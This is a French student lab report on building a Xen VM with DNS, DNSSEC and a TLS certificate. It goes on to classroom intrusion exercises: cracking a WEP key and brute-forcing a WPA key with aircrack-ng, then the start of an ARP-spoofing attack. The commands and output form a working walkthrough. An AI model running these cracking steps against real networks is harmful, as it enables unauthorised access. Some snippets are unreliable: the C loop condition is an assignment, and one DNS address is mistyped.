== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est de sécuriser www.lulya.space.&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
Pour valider cette étape, j'ai envoyé un mail par polytech mail, et je l'ai vu via la commande mailx.&lt;br /&gt;
&lt;br /&gt;
En rencontrant un problème, j'ai utilisé une commande servant d'outil de dépannage.&lt;br /&gt;
&lt;br /&gt;
  nano /etc/aliases&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
  newaliases /etc/aliases&lt;br /&gt;
J'envoie un nouveau mail mais à admin&lt;br /&gt;
Grâce à mailx, on voit le mail, c'est mon certificat&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de clés.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.&lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
